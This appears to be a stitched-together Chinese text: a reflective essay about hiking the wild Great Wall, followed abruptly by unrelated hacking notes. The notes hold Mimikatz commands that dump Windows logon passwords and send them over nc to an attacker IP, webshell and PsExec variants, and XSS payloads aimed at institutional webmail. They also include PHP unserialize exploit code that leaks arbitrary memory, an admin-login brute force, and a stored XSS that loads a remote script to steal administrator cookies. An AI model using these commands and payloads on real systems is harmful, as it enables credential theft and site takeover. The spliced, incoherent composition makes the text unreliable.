站在山脚下往上看，三座敌台一座比一座高，沿着山脊一路排上去，像串在绳子上的珠子。墙根底下全是被风化的碎石，踩上去咯吱咯吱响。天特别蓝，蓝得有点过分，反而显得那些灰扑扑的砖墙更旧了。第一反应是——今天怕是要累死。

实际爬起来比看起来还费劲。路面基本塌完了，只剩一堆乱石头和土，有的地方得手脚并用地扒着墙根上。我拿根登山杖，深一脚浅一脚地往上蹭，喘得像拉风箱。

爬到一半回头看，来时的路已经缩成了一条细线，弯弯曲曲地扎进山谷里。同行的哥们儿一句话没说，闷头往前走，背影在残墙上显得特别小。那一刻忽然有点感慨：四百年前那些戍边的士兵，每天守在这光秃秃的山脊上，望出去除了山就是墙，日子该怎么熬。

爬到半山腰，路边冒出一丛野菊花，黄灿灿的，风一吹就晃。背后刚好是一座敌台，方正正地蹲在山头上。一边是死气沉沉的旧砖墙，一边是开得不管不顾的黄花，看着特别有意思——好像大自然在说，你们人类折腾的那些事，最后还不是长草开花。

这段长城一共有五座敌台，大部分已经塌得不像样了。插字43、44号台还算完整，走进去能看到当年砖砌的拱门、射击孔，结构都还在。但屋顶没了，地上全是塌下来的碎砖，踩上去哗啦啦响。

站在一个拱门下面往外看，门洞框住了对面的山坡，像一幅画。但地上全是乱石头，墙上全是裂缝。四百年前的东西，能撑到现在已经是奇迹了。

最触动我的是敌台砖墙上那些刻字。

有"毛主席万岁"，有"公元1968年6月14日"，还有各种人名和日期，歪歪扭扭地划在砖面上。那些字已经跟砖的颜色融为一体了，不仔细看都注意不到。

我盯着看了很久。

一块万历年间的砖，被人刻上了1968年的字，然后又被2026年的我们看到。四百年、五十年、今天，三个时间叠在了一面墙上。刻字的人大概早就老了，甚至不在了，但他们的名字还在。这墙真能记事儿。

登顶的时候太阳正好晒过来，敌台的砖墙被照成了金黄色。同行的人累得不想说话，但每个人脸上都挂着笑。那种感觉特别踏实——没有缆车送你上来，没有栏杆扶着你，每一步都是你自己爬的，所以到了顶上，心里那份高兴也是实打实的。

从敌台顶往下看，长城顺着山脊往远处延伸，一座接一座的敌台消失在群山里。远处能看到独山城村的白房子，还有336国道从山脚穿过。四百年前的烽火台，五十年前的刻字人，今天的路人，还有山下跑着的汽车——全挤在同一个画面里。

下山的时候腿直打颤。回去的路上没人说话，大概都在回味。这种野长城，不值得"推荐"给谁，因为它什么都没有——没有服务，没有设施，没有安全保障。但它有一点特别好的：它是真的。真的旧，真的破，真的四百年没人管。

它就在那儿，你来了，它不欢迎你。你走了，它也不送你。

挺好。

1.记录 Mimikatz输出：

C:\>mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir

2.将输出导入到本地文件：

C:\>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

3.将输出传输到远程机器：
Attacker执行:

E:\>nc -lvp 4444

Victim执行:

C:\>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444

192.168.52.1 为Attacker IP

4.通过nc远程执行Mimikatz：
Victim执行:

C:\>nc -lvp 443

Attacker执行:

E:\>nc.exe -vv 192.168.52.128 443 -e mimikatz.exe

192.168.52.128 为Victim IP

若管理员有每过几天就改密码的习惯，但是mimikatz抓取到的密码都是老密码

用QuarksPwDump等抓的hash也是老hash，新密码却抓不到的情况下

可以使用以下方法尝试解决

privilege::debug
misc::memssp

记录的结果在c:\windows\system32\mimilsa.log
每次验证都会记录  如 锁屏 等  重启失效

出现如上问题是因为管理一直没注销过，都是直接断开连接，lsass进程里面还吃存放的老的。

也可以直接logoff，但是这样会很明显。

文件
mimikatz.exe、sekurlsa.dll、PsExec.exe(3389)

本机终端
绝对路径\mimikatz.exe

privilege::debug
inject::process lsass.exe "绝对路径\sekurlsa.dll"
@getLogonPasswords
exit

webshell
绝对路径\mimikatz.exe < 绝对路径\c.txt > 绝对路径\userpass.txt
———-c.txt———-

privilege::debug
inject::process lsass.exe "绝对路径\sekurlsa.dll"
@getLogonPasswords
exit

————————-

远程终端
psexec.exe -s cmd.exe
绝对路径\mimikatz.exe

privilege::debug
inject::process lsass.exe "绝对路径\sekurlsa.dll"
@getLogonPasswords
exit

以下是所清理的站点:

DiaoSi'Blog  http://www.3cc.pw
李成富的博客  http://www.lichengfu.com
小成's blog  http://www.rxc.cc
iick's　Blog  http://www.freebuf.cc
孤独懒人  http://sb3389.com
piaoyu http://piaoyu.org
孤独懒人 http://sb3389.com
落雪依然's blog http://www.wksnow.com
核攻击 http://lcx.cc
adwin's blog http://www.okadwin.com
小马's blog https://www.i0day.com
指尖上的故事-blog http://www.163tk.cn
hk天涯 blog http://www.hktianya.cn
secer's blog https://ha.cker.in
神坑's blog http://www.bluesmile.cc
xsec http://www.ixsec.org
刘帅's blog http://666666i.com
小九博客 http://99db.pw
代码编写未来 http://www.hackm-cn.org
独孤小生 http://www.dugu-niche.com
少帅's blog http://www.xx55aa.com
白帽子社工组 http://www.baimaozi.net
探路者博客 http://www.toreadsafe.xyz
益友 http://www.yiyou.bj.cn
any3ite http://www.any3ite.com
m0l0k's blog http://www.molok.ml

某院校邮箱：

漏洞证明：

由于eyou版本号不同，下面测试代码的效果也有细微区别，但是存在漏洞原因相同。

测试代码：

<!--[if true]><img onerror=alert(1) src=--><form action=javascript:alert(2)><input type=submit><input autofocus onfocus=alert(3)><select autofocus onfocus=alert(4)><textarea autofocus onfocus=alert(5)>发送后打开，效果如图：

某党政机关邮箱：

某院校邮箱：

题目：Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1

地址：http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

很多人都认为，对基于Web的应用程序来说，内存崩溃类bug不是什么严重问题。尤其现在XSS和SQL注入类漏洞仍然大行其事的情况下，不会有多少注意力投入到这类bug中，它们会被当做“不可利用”或者被直接无视。然而，假如攻击成功，利用这类漏洞进行攻击所导致的结果将远远超出SQL注入以及XSS，因为：

1. 攻击者将得到有保证的系统访问权。 2. 将会很难识别恶意攻击数据流量。 3. 需要维护者/供应商提供专门补丁，并且只能希望修补得没有问题。

接下来笔者将发表三篇该系列攻击的文章，本文是其中的首篇。该系列将从CVE-2014-8142的利用开始讲起、然后是远程任意信息泄露、最后以获取PHP解释器的控制权结束。Stefan Esser（@i0n1c）是这两个CVE的原作者，并且是在2010年Syscan上第一个讲解如何控制PHP解释器（被称为“ret2php”）的。

0x01 漏洞起源

这一切都始于2004年，Esser在unserialize()函数中发现的一个Use After Free漏洞。这是一个Hardened-PHP（译者注：如果项目中，服务器的安全性是最重要的，就可以称为是Hardened-PHP）项目的一部分，没有任何代码公开。2010年，Esser又在SPLObjectStorage的unserialize()中发现另一个User After Free，这个漏洞直接产生了Syscan会上的一个发言，跟第一次漏洞一样，本次也没有代码公开。最后，CVE-2014-8142被发现，又被打补丁，但是因为补丁没打好，又导致了CVE-2015-0231。

幸运的是，这次Stefan终于给出了一个可令PHP解释器产生故障的POC。下面的代码就会导致有此漏洞的PHP解释器出现问题。

<?php for ($i=4; $i<100; $i++) { var_dump($i); $m = new StdClass(); $u = array(1); $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $m->ddd = str_repeat("A", $i); $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); } ?>

source: StefanEsser_Original_POC

0x02 漏洞分析利用

下面来解释下POC是如何工作的：我们通过重新添加“aaa”对象的值（不同值），来更新对象“aaa”，然而“ccc”对象其实还是指向原始“aaa”对象中的某一个值。

既然我们已经在顶层实现上知道了它的工作原理，接下来就让我们一起试着找到问题的罪魁祸首吧。我们在process_nested_data函数中寻找，快速浏览一下，会发现一段特定的代码：

让我们一起跟进脚本中来确定真正发生了什么。我们将断点断在var_unserializer.c的第337行来看一下（此处位于process_nested_data函数内）。

继续运行，跟过下面的代码：

<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}'; $x = unserialize($data); var_dump($x); ?>

source:StefanEsser_Original_LocalMemLeak.php

运行上面的脚本，断点第一次命中时跳过，第二次命中时，执行下面的查看命令：

printzv *(var_entries)var_hash->first

可以看到地址的一个数组，这些地址指向unserialize()函数解析的变量值。我们感兴趣的是第五个0xb7bf87c0（我们上面php代码中用的是R:5）。既然已经得到地址，我们就去看一下内容，然后步过该断点并继续运行。

已经调用完该可疑函数，接下来重新看一下刚才我们选定的地址中出现了什么内容：

成功搞定！当然，还需要确认下该地址是否还在var_hash表中，然后继续运行。

果然还在，继续：

Sweet！已经可以泄露前面地址中的数据了。我们现在已经可以成功泄露出之前所提供字串的长度，但这其实没什么意思。那么能不能泄露出任意内存数据呢？下面就是你想要的代码：

<?php
$fakezval = pack( 'IIII', //unsigned int 0x08048000, //address to leak 0x0000000f, //length of string 0x00000000, //refcount 0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7 ); //obj from original POC by @ion1c $obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}'; $obj=unserialize($obj); for($i = 0; $i < 5; $i++) { //this i value is larger than usually required $v[$i]=$fakezval.$i; //repeat to overwrite } //due to the reference being overwritten by our loop above, leak memory echo $obj->ccc; ?>

source: PHPLeak

下面是输出数据：

我们这里做的操作是非常简单的（希望是）。我们创建自己的ZVAL（PHP使用的内部数据结构）数据结构。我们定义了几个东西，使pack（）函数获取我们的代码执行。按照顺序，它们是：

类型（例子中用的是unsigned int） 地址（我们想要泄露的地址） 长度（我们想要泄露内存的长度） 参考标志（0） 数据类型（6，代表String类型）

当然，如果我们没有伪造一个string ZVAL结构，这些值是会变化的。代码中的for循环是真正执行内存覆盖操作（覆盖之前释放掉的内存），这些操作使我们得到上述的输出数据。代码中我令循环数$i的值大于其所需的值，只是用以确保代码的通用性，当然我测试过的大多数机器只需要2次就可以了，不需要执行5次。

好了，现在已经可以泄露随意地址数据了，让我们再一起看看CVE-2015-0231？很简单：只需将“aaa”替换成“123”，看一下输出的数据：

0x03 下一步研究

通过上述过程，我们已经完成了一个可在本地泄露任意内存地址数据的POC，且该POC同时适用于两个CVE漏洞的。我们下一步目标是仍然是数据泄露，所不同的是，将会是远程数据泄露！

敬请期待第二回，远程数据泄露！

然后查看文章，直接执行了插入的js代码

在测试demo的时候被阿里云的防护拦截了

if (!is_array($user)) {

        $dou->create_admin_log($_LANG['login_action'] . ': ' . $_POST['user_name'] . " ( " . $_LANG['login_user_name_wrong'] . " ) ");

        $dou->dou_msg($_LANG['login_input_wrong'], 'login.php', 'out');

    } elseif (md5($_POST['password']) != $user['password']) {

        if ($_POST['password']) {

            $dou->create_admin_log($_LANG['login_action'] . ': ' . $_POST['user_name'] . " ( " . $_LANG['login_password_wrong'] . " ) ");

        }

        $dou->dou_msg($_LANG['login_input_wrong'], 'login.php', 'out');

    }

对登录失败判断没有对session的操作，只是dou_msg()。

我们的测试字典文件

100123

101123

102123

103123

104123

105123

106123

107123

108123

109123

110123

111123

admin888

112123

113123

114123

115123

116123

117123

118123

119123

http://demo.douco.com/admin/login.php 这里是自带密码admin888的，我把它添加到playload里去。

正确密码返回302



Response



Location: http://demo.douco.com/admin/index.php



已经登录成功。

先下载了PHPCMS的最新版本，然后我们在会员中心--商务中心--商家资料--基本信息--经营地址那里插入"/><svg onload=alert(/1/)>

接下来来到后台查看发现是不能成功弹窗的，因为这个是在个人企业的首页

没有弹窗肿么办呢？不急~一般管理员在审核通过之后都会去看一下这个企业吧，这个时候我们的机会就来了~后台点击我们的企业之后，可以看到来到企业首页，成功弹窗~

接下来看看能不能打cookie，我们继续构造"><script src=http://t.cn/RzLE1X0></script>

可以看到cookie已经成功打到~因为这个企业是人人都可以看到的~而且一般管理员审核完之后也会去哦，好吧就算管理员审核之后不去看我们的企业（不大可能哈），那我们利用一些手法去让管理员看我们的企业还是很简单的吧~所以你们懂得~

$data['username'] = isset($_COOKIE['username']) ? $_COOKIE['username'] : '';

无过滤。。

./bbs/360safe.php

$cookiefilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|\\/\\*.*?\\*\\/|'";

没有过滤iframe img 这些标签

在bbs回复时 将cookie中的login_username 改为username

回复之后